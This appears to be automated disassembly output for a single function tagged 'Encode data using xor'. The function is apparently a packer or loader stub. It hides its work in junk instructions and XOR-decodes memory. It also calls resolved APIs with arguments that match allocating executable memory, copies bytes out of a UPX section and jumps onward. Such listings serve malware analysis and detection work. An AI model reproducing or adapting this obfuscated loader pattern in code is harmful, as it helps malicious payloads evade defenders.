Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd336af73
add ebx, eax
dec ebx
add ebx, 0x7b92becb
popal
sub eax, ebx
and eax, eax
mov esi, 0
mov ebx, eax
dec edi
not edi
mov ecx, ebx
sub edx, 0x4c3b9108
add edi, 0x83e8581c
mov eax, ecx
sub edi, edx
add edi, 0x2ebf2599
mov edi, 0xd9f77b0d
inc esi
mov edi, edx
sub edi, 1
cmp esi, 0x100271c
jne 0xa789c5
not edi
dec edx
add ebx, 1
mov eax, 0xe422abdf
mov edx, 0xa78796
and esi, ecx
not esi
mov ebx, 0xa7898a
mov ecx, edi
add edi, edi
sub esi, 0x25a0a0c2
mov eax, dword [edx]
add edi, ecx
and edi, esi
and eax, 0xff
or edi, ecx
inc ecx
not ecx
xor dword [ebx], eax
add edi, 0x1f6684d8
sub esi, edi
sub edi, ecx
add ebx, 1
sub ecx, edi
add edi, 0x5f69e250
inc edx
and ecx, ecx
mov ecx, esi
cmp ebx, entry0
jl 0xa78a22
dec esi
sub edi, 0x44bcef1e
add edi, edi
inc edi
not esi
not edx
and edi, edx
mov ebx, 0xa7898e
sub edx, 0xf7e13733
add esi, edi
add edi, edi
mov ebx, dword [ebx]
mov edi, ecx
sub esi, 0x12559987
or ecx, edi
mov ebx, dword [ebx]
mov edi, 0x5f99291c
mov edx, esi
push ebx
or esi, edx
add edi, esi
mov ebx, 0xa7898a
and edi, edx
not edi
mov ebx, dword [ebx]
add edi, 0x5490ce6
add esi, edi
inc esi
mov ebx, dword [ebx]
and esi, edi
add edi, 0xdcefd62e
push 0xa78992
mov ecx, edi
mov ecx, edx
add edx, 0xf09b166b
call ebx
mov ecx, 0x43493441
mov ecx, 0xc24ebdbd
inc edi
pop ebx
dec ecx
or edi, edi
add edi, 0x9f4e2933
push 0xa7899f
sub esi, 0xe7bcc88f
or ecx, esi
add edx, 0xe326da39
push eax
or ecx, esi
sub edi, esi
mov ecx, 0x25f0a3b2
call ebx
sub ecx, edx
sub edx, ecx
add edi, 1
push 0x40
mov ecx, 0x8e03a7fd
dec ecx
push 0x3000
mov ecx, 0x2f941e44
sub ecx, esi
push 0x20000549
add ecx, 0x3acdd516
sub esi, 0x2f8a9cc1
sub esp, 4
mov dword [esp], 0
and edi, edx
and edx, edi
or ecx, esi
call eax
inc edi
mov ecx, 0xa4f56d41
add edi, 0xadff4c2c
add eax, 0x200004cd
mov edx, edi
dec edx
not edx
mov ebx, 0x71ccc38a
mov ecx, 0x37a6a2a3
not esi
add esi, 0x7346d41b
mov dword [eax], ebx
mov ecx, esi
or edx, esi
mov ebx, dword [eax]
sub edi, 0x92f6b294
sub esi, 0xa7dae89e
cmp ebx, 0x71ccc38a
je 0xa78b8a
mov eax, 0
mov ebx, dword [eax]
mov edi, ecx
not esi
and esi, ecx
not ecx
add eax, 0x7d1c4243
or ebx, ebx
mov edi, section.UPX1
sub ebx, 0xf9a38460
or eax, eax
and ebx, ebx
mov edx, 0xa78795
add ebx, 0x24cf6d0
dec eax
mov ecx, 0
add eax, eax
dec eax
mov eax, 0xb2bc7f57
mov esi, 0xa78796
add ebx, 0x383b37e0
mov ebx, 0x48e854ce
sub ebx, 0xa2bde4aa
lea esi, [ecx + esi]
mov eax, 0x965bd49b
sub eax, ebx
not eax
mov esi, dword [esi]
inc eax
or eax, ebx
and esi, 0xff
add ebx, 0xee898649
add ebx, 0x1bec7027
inc ecx
add ebx, 1
mov eax, ebx
sub ebx, eax
cmp ecx, 0x1f4
jne 0xa78c13
mov ecx, 0
add eax, ebx
and ebx, eax
not ebx
add eax, 0xf7482cc
xor dword [edi], esi
dec eax
sub ebx, 0xdd5e3de5
add edi, 2
sub eax, ebx
mov eax, ebx
and eax, ebx
cmp edi, edx
jl 0xa78bc2
inc eax
or eax, ebx
and ebx, ebx
or eax, eax
sub ebx, eax
mov eax, section.UPX1
add esi, esi
add esi, esi
add edx, 0x16b2f2b5
mov ebx, section.UPX1
and esi, edx
not esi
and esi, esi
mov edi, 0xa78795
mov edx, esi
add edx, 0x87b84067
mov ecx, 0
mov esi, 0x2f417d86
dec edx
mov cl, byte [ebx]
mov edx, esi
dec esi
mov esi, edx
mov byte [eax], cl
sub esi, 0x63978892
mov esi, 0x4eb7ba3
add eax, 1
add esi, 0x8fd2c982
add edx, edx
mov edx, esi
add ebx, 2
add esi, esi
mov esi, edx
cmp ebx, edi
jle 0xa78c77
not esi
dec esi
mov esi, edx
add eax, 0x6d093545
mov ebx, eax
push 0x8dc6a0
add eax, eax
and eax, eax
ret